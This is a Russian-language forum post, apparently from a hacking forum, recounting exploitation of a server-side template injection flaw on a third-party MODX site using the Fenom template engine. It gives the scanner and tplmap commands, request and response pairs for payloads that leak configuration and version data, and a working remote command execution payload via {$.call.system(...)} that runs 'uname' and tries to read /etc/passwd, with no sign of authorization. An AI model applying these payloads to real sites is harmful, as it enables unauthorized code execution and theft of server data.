Server-Side Template Injection (SSTI) — возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон — это HTML-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный HTML. Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. SSTI может использоваться для прямой атаки на внутренние компоненты веб-сервера и удаленно выполнять код.
Встречаются такие вульны редко, по крайней мере именно мне, ввиду отсутствия свободного времени
Последний раз эксплуатировал такое года полтора назад. И вот, вчера при сканировании кое-какого сайта Acunetix'ом, увидел детект SSTI:
Встречаются такие вульны редко, по крайней мере именно мне, ввиду отсутствия свободного времени
- Акунетикс сообщает о Confidence 95% — проще говоря, софт не уверен что уязвимость юзабельна, ввиду того что дефолтные пэйлоады этого сканнера не смогли внедрить/выполнить какие либо команды на сервере, кроме одной: отработал только дефолтный детектор (пэйлоад SSTI) - acx{98991*97996}xca
- В моем случае уязвимость обнаружена при помощи выполнения математической операции внутри выражения шаблонизатора. Сканнер передал на потенциально уязвимый GET параметр пэйлоад 98991*97996 внутри фигурных скобок и шаблонизатор выполнив эту операцию вернул ответ 9700722036 — умножил 98991 на 97996.
- И помимо информации о наличии уязвимости сканнер сообщает нам имя движка этого шаблонизатора: Smarty, видимо основываясь на данной инфографике:
- Из-за лени решаю заюзать TPLMap — почти как SQLMap, только под SSTI. Скармливаю ему команду:
Код:
./tplmap.py -u "https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=*&product=410" --level=5 -e Smarty
- Уязвимый параметр так же как в SQLMap помечается астериском *
- Флаг --level=5 указывается для того, что-бы софтина чекала всевозможные пэйлоады, а не только самые распространенные.
- Флаг -e используется для указания конкретного движка шаблонизатора, для того что-бы не проверять пэйлоады под все имеющиеся (популярные) шаблонизаторы.
- По итогу, TPLMap сообщает о том что параметр неуязвим:
- Ух с#ка!11 Иду чекать руками выражения из официальной документации к Smarty:
Код:
{$smarty.version}
{$smarty.config.foo}
{$smarty.template}
{php}echo `id`;{/php}
{$smarty.const.PHP_VERSION}
- Ни чего не возвращает, ни на один пэйлоад:
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$smarty.version}&product=410 HTTP/1.1
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=&product=410" hreflang="en-GB">
- При этом, если отправить:
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={4*4}&product=410 HTTP/1.1
- То выполняет и возвращает ответ:
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=16&product=410" hreflang="en-GB">
- И тут, в респонсах, а именно в хидерах я наконец-то замечаю X-Powered-By: MODX Revolution
- Гуглю "MODX шаблонизатор" и натыкаюсь на статью — "Сравнение шаблонизаторов MODX, Fenom и Smarty"
- Нахожу этот Fenom и MODX + Fenom
Поддержка шаблонизатора Fenom появилась в pdoTools с версии 2.0, после чего он стал требовать PHP 5.3+.
Он работает гораздо быстрее, чем родной modParser, и если вы перепишите свой чанк так, что в нём не будет ни одного тега MODX, то modParser и вовсе не будет запускаться. При этом, конечно, одновременная работа и старых тегов, и новых в одном чанке допускается.
- Смотрю синтаксис, переменные, и вообще всю документацию в целом. И приступаю к тестам:
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$_modx->config.emailsender}&product=410 HTTP/1.1
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=orders@target.com&product=410" hreflang="en-GB">
- Еще..
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.version}&product=410 HTTP/1.1
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=2.12.1&product=410" hreflang="en-GB">
- Еще чуть-чуть
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.const.PHP_VERSION}&product=410 HTTP/1.1
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=8.0.15&product=410" hreflang="en-GB">
- В документации обнаруживаю:
$.call обращение к статическомому методу. $.call.Storage.FS::put($filename, $data) обращение к методу Storage\FS::put($filename, $data). Настройка disable_call отключает возможность обращения к $.call. Так же можно ограничить и указать список доступных к вызову классов и функций.
- Го:
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.call.system('uname')}&product=410 HTTP/1.1
HTML:
#Ответ
<link rel="alternate" href="https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone=Linux&product=410" hreflang="en-GB">
- А так?
Код:
#Запрос
GET https://target.com/en/?order=5745784394910691720185627194193813857585739274&phone={$.call.system('cat%20/etc/passwd')}&product=410 HTTP/1.1
- Ответ:
- Внимание! Спасибо за внимание! Надеюсь кому нибудь пригодится.
- P.S. Это пример невнимательности и распи#дяйства: ведь если бы я сразу обратил внимание на хидер X-Powered-By: MODX Revolution - не пришлось бы тратить лишние 10 минут на тест пэйлоадов под Smarty и читать всю документацию.
- Более подробно с SSTI можно ознакомиться здесь и здесь.
Последнее редактирование: